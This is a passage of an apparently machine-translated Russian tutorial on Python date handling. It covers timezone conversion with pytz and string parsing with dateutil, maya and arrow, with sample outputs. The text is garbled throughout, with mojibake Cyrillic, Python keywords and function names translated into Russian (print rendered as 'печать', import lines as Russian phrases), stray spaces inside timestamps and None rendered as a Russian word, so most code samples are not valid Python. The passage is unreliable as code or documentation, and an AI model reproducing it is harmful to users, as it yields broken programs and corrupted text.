    nw_datetime_obj = dt.datetime.now (часовой пояс_nw)
    
    timezone_london = pytz.timezone ('Π•Π²Ρ€ΠΎΠΏΠ° / Π›ΠΎΠ½Π΄ΠΎΠ½')
    london_datetime_obj = nw_datetime_obj.astimezone (часовой пояс_london)
    
    
    print ('АмСрика / Нью-Π™ΠΎΡ€ΠΊ:', nw_datetime_obj)
    print ('Π•Π²Ρ€ΠΎΠΏΠ° / Π›ΠΎΠ½Π΄ΠΎΠ½:', london_datetime_obj)
      

    Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создали ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΈ установили Π΅Π³ΠΎ ΠΊΠ°ΠΊ часовой пояс "America / New_York". Π—Π°Ρ‚Π΅ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ astimezone () , ΠΌΡ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈ этот datetime Π² часовой пояс Β«Π•Π²Ρ€ΠΎΠΏΠ° / Π›ΠΎΠ½Π΄ΠΎΠ½Β».Оба datetime s Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ значСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

      $ python3 datetime-tzinfo-4.py
    АмСрика / Нью-Π™ΠΎΡ€ΠΊ: 2018-06-29 22: 21: 41.349491-04: 00
    Π•Π²Ρ€ΠΎΠΏΠ° / Π›ΠΎΠ½Π΄ΠΎΠ½: 2018-06-30 03: 21: 41.349491 + 01: 00
      

    Как ΠΈ оТидалось, Π΄Π°Ρ‚Ρ‹ ΠΈ врСмя ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ составляСт ΠΎΠΊΠΎΠ»ΠΎ 5 часов.

    ИспользованиС сторонних Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ

    ΠœΠΎΠ΄ΡƒΠ»ΡŒ

    Python datetime ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ всС Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ строк Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime . Но основная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ для этого Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΊΠΎΠ΄Π° форматирования, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ смоТСт ΠΏΠΎΠ½ΡΡ‚ΡŒ strptime .Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ этой строки Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ затрудняСт Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°. ВмСсто этого ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сторонниС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡Ρƒ.

    Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях эти сторонниС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π»ΡƒΡ‡ΡˆΡƒΡŽ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для управлСния ΠΈ сравнСния Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ встроСнныС часовыС пояса, поэтому Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚.

    Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ….

    dateutil

    ΠœΠΎΠ΄ΡƒΠ»ΡŒ dateutil являСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ модуля datetime .Одно ΠΈΠ· прСимущСств состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° строки. НапримСр:

      ΠΈΠ· синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° dateutil.parser
    
    datetime = parse ('2018-06-29 22:21:41')
    
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (Π΄Π°Ρ‚Π° ΠΈ врСмя)
      

    Π­Ρ‚Π° функция parse автоматичСски ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ строку ΠΈ сохранит Π΅Π΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ datetime . ΠŸΠ°Ρ€ΡΠΈΠ½Π³ выполняСтся автоматичСски. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΡƒΡŽ-Π»ΠΈΠ±ΠΎ строку Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ строк с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ dateutil :

      ΠΎΡ‚ dateutil.синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° синтаксичСский Π°Π½Π°Π»ΠΈΠ·
    
    date_array = [
        '2018-06-29 08:15: 27.243860',
        '28 июня 2018 г. 7:40',
        '28 июня 2018 г., 7:40',
        '18 сСнтября 2017, 22:19:55',
        'Вс, 12.05.1999, 12:30',
        'Пн, 21 ΠΌΠ°Ρ€Ρ‚Π°, 2015',
        '2018-03-12T10: 12: 45Z',
        '2018-06-29 17: 08: 00.586525 + 00: 00',
        '2018-06-29 17: 08: 00.586525 + 05: 00',
        Β«Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊ, 6 сСнтября 2017 Π³., 16:30Β»
    ]
    
    для Π΄Π°Ρ‚Ρ‹ Π² date_array:
        print ('Анализ:' + Π΄Π°Ρ‚Π°)
        dt = parse (Π΄Π°Ρ‚Π°)
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (Π΄Ρ‚.tzinfo)
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ ('\ ΠΏ')
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 dateutil-1.py
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 08:15: 27.243860
    2018-06-29
    08: 15: 27.243860
    Никто
    
    Π Π°Π·Π±ΠΎΡ€: 28 июн 2018 7:40
    2018-06-28
    07:40:00
    Никто
    
    Π Π°Π·Π±ΠΎΡ€: 28 июн 2018 Π² 7:40
    2018-06-28
    07:40:00
    Никто
    
    ΠŸΠ°Ρ€ΡΠΈΠ½Π³: 18 сСнтября 2017 Π³., 22:19:55
    2017-09-18
    22:19:55
    Никто
    
    Π Π°Π·Π±ΠΎΡ€: вс, 12.05.1999, 12:30
    1999-05-12
    12:30:00
    Никто
    
    ΠŸΠ°Ρ€ΡΠΈΠ½Π³: Пн, 21 ΠΌΠ°Ρ€Ρ‚Π° 2015 Π³.
    2015-03-21
    00:00:00
    Никто
    
    Π Π°Π·Π±ΠΎΡ€: 2018-03-12T10: 12: 45Z
    2018-03-12
    10:12:45
    tzutc ()
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17:08:00.586525 + 00: 00
    2018-06-29
    17: 08: 00.586525
    tzutc ()
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17: 08: 00.586525 + 05: 00
    2018-06-29
    17: 08: 00.586525
    tzoffset (НСт, 18000)
    
    Π Π°Π·Π±ΠΎΡ€: Π²Ρ‚ΠΎΡ€Π½ΠΈΠΊ, 6 сСнтября 2017 Π³., 16:30
    2017-09-06
    16:30:00
    Никто
      

    Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, практичСски любой Ρ‚ΠΈΠΏ строки ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ модуля dateutil .

    Π₯отя это ΠΈ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, Π½Π°ΠΏΠΎΠΌΠ½ΠΈΠΌ, ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ сказано Ρ€Π°Π½Π΅Π΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ прогнозирования Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠΎΠ΄ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, поэтому, Ссли ваш ΠΊΠΎΠ΄ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ высокой ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠΌ для вашСго прилоТСния.

    Майя

    Maya Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ синтаксичСский Π°Π½Π°Π»ΠΈΠ· строки ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ часовых поясов. Π—Π΄Π΅ΡΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ нСсколько простых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ майя
    
    dt = maya.parse ('2018-04-29T17: 45: 25Z'). datetime ()
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 maya-1.py
    2018-04-29
    17:45:25
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
      

    Для прСобразования Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ часовой пояс:

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ майя
    
    dt = maya.parse ('2018-04-29T17: 45: 25Z').datetime (to_timezone = 'America / New_York', naive = False)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 maya-2.py
    2018-04-29
    13:45:25
    АмСрика / Нью-Π™ΠΎΡ€ΠΊ
      

    Π Π°Π·Π²Π΅ Π½Π΅ Ρ‚Π°ΠΊ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ? Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ maya с Ρ‚Π΅ΠΌ ΠΆΠ΅ Π½Π°Π±ΠΎΡ€ΠΎΠΌ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали с dateutil :

    .

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ майя
    
    date_array = [
        '2018-06-29 08:15: 27.243860',
        '28 июня 2018 г. 7:40',
        '28 июня 2018 г., 7:40',
        '18 сСнтября 2017, 22:19:55',
        'Вс, 12.05.1999, 12:30',
        'Пн, 21 ΠΌΠ°Ρ€Ρ‚Π°, 2015',
        '2018-03-12T10: 12: 45Z',
        '2018-06-29 17:08:00.586525 + 00: 00 ',
        '2018-06-29 17: 08: 00.586525 + 05: 00',
        Β«Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊ, 6 сСнтября 2017 Π³., 16:30Β»
    ]
    
    для Π΄Π°Ρ‚Ρ‹ Π² date_array:
        print ('Анализ:' + Π΄Π°Ρ‚Π°)
        dt = maya.parse (Π΄Π°Ρ‚Π°) .datetime ()
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt)
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 maya-3.py
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 08:15: 27.243860
    2018-06-29 08: 15: 27.243860 + 00: 00
    2018-06-29
    08: 15: 27.243860
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: 28 июн 2018 7:40
    2018-06-28 07: 40: 00 + 00: 00
    2018-06-28
    07:40:00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: 28 июн 2018 Π² 7:40
    2018-06-28 07: 40: 00 + 00: 00
    2018-06-28
    07:40:00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    ΠŸΠ°Ρ€ΡΠΈΠ½Π³: 18 сСнтября 2017 Π³., 22:19:55
    2017-09-18 22: 19: 55 + 00: 00
    2017-09-18
    22:19:55
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: вс, 12.05.1999, 12:30
    1999-05-12 12: 30: 00 + 00: 00
    1999-05-12
    12:30:00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    ΠŸΠ°Ρ€ΡΠΈΠ½Π³: Пн, 21 ΠΌΠ°Ρ€Ρ‚Π° 2015 Π³.
    2015-03-21 00: 00: 00 + 00: 00
    2015-03-21
    00:00:00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: 2018-03-12T10: 12: 45Z
    2018-03-12 10: 12: 45 + 00: 00
    2018-03-12
    10:12:45
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17:08:00.586525 + 00: 00
    2018-06-29 17: 08: 00.586525 + 00: 00
    2018-06-29
    17: 08: 00.586525
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17: 08: 00.586525 + 05: 00
    2018-06-29 12: 08: 00.586525 + 00: 00
    2018-06-29
    12: 08: 00.586525
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
    
    Π Π°Π·Π±ΠΎΡ€: Π²Ρ‚ΠΎΡ€Π½ΠΈΠΊ, 6 сСнтября 2017 Π³., 16:30
    2017-09-06 16: 30: 00 + 00: 00
    2017-09-06
    16:30:00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
      

    Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, всС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Π΄Π°Ρ‚Ρ‹ Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.

    Но Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ? Если ΠΌΡ‹ Π½Π΅ прСдоставляСм ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ часовом поясС, ΠΎΠ½Π° автоматичСски прСобразуСтся Π² UTC.Π˜Ρ‚Π°ΠΊ, Π²Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ to_timezone ΠΈ Π½Π°ΠΈΠ²Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² , Ссли врСмя Π½Π΅ Π² UTC.

    Π‘Ρ‚Ρ€Π΅Π»ΠΊΠ°

    Arrow - Π΅Ρ‰Π΅ ΠΎΠ΄Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с datetime Π² Python. И, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅, с maya , ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ автоматичСски опрСдСляСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. ПослС ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ ΠΎΠ½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Python datetime ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° arrow .

    Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ это с Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎΠΉ строкой, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ использовали для maya :

      стрСлка ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    dt = стрСлка.ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ('2018-04-29T17: 45: 25Z')
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 arrow-1.py
    2018-04-29
    17:45:25
    tzutc ()
      

    А Π²ΠΎΡ‚ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стрСлку для прСобразования часовых поясов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π² :

      стрСлка ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    dt = arrow.get ('2018-04-29T17: 45: 25Z'). to ('АмСрика / Нью-Π™ΠΎΡ€ΠΊ')
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 стрСлка-2.Ρ€Ρƒ
    2018-04-29T13: 45: 25-04: 00
    2018-04-29
    13:45:25
      

    Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, строка Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π° Π² Ρ€Π΅Π³ΠΈΠΎΠ½ "America / New_York".

    Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ снова Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Ρ‚Π΅ΠΌ ΠΆΠ΅ Π½Π°Π±ΠΎΡ€ΠΎΠΌ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π²Ρ‹ΡˆΠ΅:

      стрСлка ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    date_array = [
        '2018-06-29 08:15: 27.243860',
        # '28 июня 2018 г. 7:40',
        # '28 июня 2018 г., 7:40',
        # '18 сСнтября 2017 Π³., 22:19:55',
        # 'Вс, 12.05.1999, 12:30',
        # 'Пн, 21 ΠΌΠ°Ρ€Ρ‚Π°, 2015',
        '2018-03-12T10: 12: 45Z',
        '2018-06-29 17:08:00.586525 + 00: 00 ',
        '2018-06-29 17: 08: 00.586525 + 05: 00',
        # 'Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊ, 6 сСнтября 2017 Π³., 16:30'
    ]
    
    для Π΄Π°Ρ‚Ρ‹ Π² date_array:
        dt = arrow.get (Π΄Π°Ρ‚Π°)
        print ('Анализ:' + Π΄Π°Ρ‚Π°)
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt)
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.date ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.time ())
        ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dt.tzinfo)
      

    Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ошибкой для Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… строк Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎ составляСт Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². Для Π΄Ρ€ΡƒΠ³ΠΈΡ… строк Π²Ρ‹Π²ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚:

      $ python3 arrow-3.py
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 08:15:27.243860
    2018-06-29T08: 15: 27.243860 + 00: 00
    2018-06-29
    08: 15: 27.243860
    tzutc ()
    
    Π Π°Π·Π±ΠΎΡ€: 2018-03-12T10: 12: 45Z
    2018-03-12T10: 12: 45 + 00: 00
    2018-03-12
    10:12:45
    tzutc ()
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17: 08: 00.586525 + 00: 00
    2018-06-29T17: 08: 00.586525 + 00: 00
    2018-06-29
    17: 08: 00.586525
    tzoffset (НСт, 0)
    
    Π Π°Π·Π±ΠΎΡ€: 2018-06-29 17: 08: 00.586525 + 05: 00
    2018-06-29T17: 08: 00.586525 + 05: 00
    2018-06-29
    17: 08: 00.586525
    tzoffset (НСт, 18000)
      

    Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΌΠ½ΠΎΠΉ строки Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ подсказки ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡ… Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.НапримСр, Β«MMMΒ» для названия мСсяцСв, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Jan, Feb, MarΒ» ΠΈ Ρ‚. Π”. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ это руководство для всСх доступных Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ².

    Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

